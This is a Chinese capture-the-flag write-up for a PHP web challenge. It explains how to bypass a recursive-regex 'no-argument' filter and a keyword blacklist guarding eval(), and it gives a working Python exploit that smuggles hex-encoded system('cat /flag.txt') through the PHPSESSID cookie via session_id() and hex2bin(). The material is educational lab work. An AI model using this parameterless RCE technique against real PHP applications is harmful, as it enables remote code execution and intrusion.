[YCTF]web1-rce_nopar
前言:
比赛题目环境版本是:PHP/5.5.9-1ubuntu4.14
如果要进行本地测试,请尽量使用附近的版本,我测试过5.6版本基本都可以用。
如果自己本地搭建,payload没有成功,请检查PHP的版本。
经过本地测试,payload在PHP7.2的版本,payload会不起作用,也得不到flag。
原因是更新的版本函数执行底层代码改变了。
考察:无参RCE、session的使用、正则表达式
进入页面,显示如下php代码。
<?php
if(isset($_GET['var'])){
if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['var'])) {
if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
eval($_GET['var']);
} else {
die("Sorry!");
}
}
else{
show_source(__FILE__);
}
?>
关键代码如下:
if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['var'])) {
if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
eval($_GET['var']);
}
}
先分析外层if句的正则表达式:
[^W]+((?R)?)
首先分析[^W]
:
其中"[]"表示匹配的开始结束,"^"表示取反。
W
,(注意这个W是大写的),匹配非字母、数字、下划线。等价于 [^A-Za-z0-9_]
。
所以[^W]
是对上面的w
取反: 匹配所有字母数字下划线的字母。
不太熟悉正则的注意正则中的 “+”,是为了拼接整个表达式的,并不是需要我们匹配 "+",
然后是((?R)?)
:
其中两侧的( 和)
表示匹配括号。
(?R)
,(?R)表示递归表达式本身,
(?R)?
,最后的"?"表示匹配1个或者0个表达式本身,最后的 “?” 必不可少的。
综上,我们大概就清晰了。
整个正则是要把对应形式的内容提取出来,然后通过preg_replace函数,用空字符串进行代替,得到一个字符串。
得到的这个字符串必须是完全等于“;”的。
我们的payload大致为如下形式,可以带字母,数字,下划线。
一定明白好这个正则,使用函数必须无参。
a(b_c());
接下来分析内层的if判断句
其实内层的正则就比较好过了,最重要的还是外层的正则。
/et|dir|na|info|dec|oct|pi|log/i
两侧的 ” / “ 是整个表达式的开头和结尾,结尾的i表示不区分大小写。
用|分隔多种匹配情况。
即:et、dir、na、info、dec、oct、pi、log都是非法的字符。
综上,第二个正则:
我们输入的参数,不可以带 et、dir、na、info、dec、oct、pi、log中的任何一个,即便大小写混合也不行。
进入我们构造payload的阶段
先给出exp吧,这样还比较好解释。
脚本是python2的 , python3的encode()函数使用会不一样
import requests
url = 'http://124.193.74.211:32373/?var=eval(hex2bin(session_id(session_start())));'
payload ="system('cat /flag.txt');".encode('hex')
#73797374656d2827636174202f666c61672e74787427293b
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print (r.content)
经过分析,我们有了思路
第一我们清晰了参数大致形式: a( b_c() ) ;
第二明确了传入的var必须是无参的,但使用eval的执行没有参数又是不太现实的。
第三我们需要特殊手段,注入需要执行命令的参数,比如~: cookies。
惊喜:cookies有个PHPSESSID,在调用PHP的session_start();后函数会自动生成。
当然,在合法的规则下,我们可以更改这个PHPSESSID的值。
总结出利用手段:利用session构造无参数RCE
解释函数:
仔细理解session_id函数的使用注意,这也是为什么我们要把命令执行语句,转为16进制字符串的原因。
函数 | 功能: | 使用注意: |
---|---|---|
session_start(); | 创建新会话或者重用现有会话。 | 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。 |
session_id(); | 可以用来获取/设置 当前会话 ID。 | 不同会话管理器对id中可以使用的字符有不同的限制。例有的管理器允许使用字符:*a-z A-Z 0-9 ,(逗号) - (减号)。 |
hex2bin() ; | 把十六进制值的字符串转换为 ASCII 字符串。 | |
eval(); | 把字符串按 PHP 代码执行。 |
函数执行过程:
传入我们的var变量和PHPSESSID后:
eval($_GET['var']);会触发
详细执行情况如下:
根据脚本此处 shell <==> system('cat /flag.txt');
eval("eval(hex2bin(session_id(session_start())));");
最后我们就得到了flag.txt文件的内容值。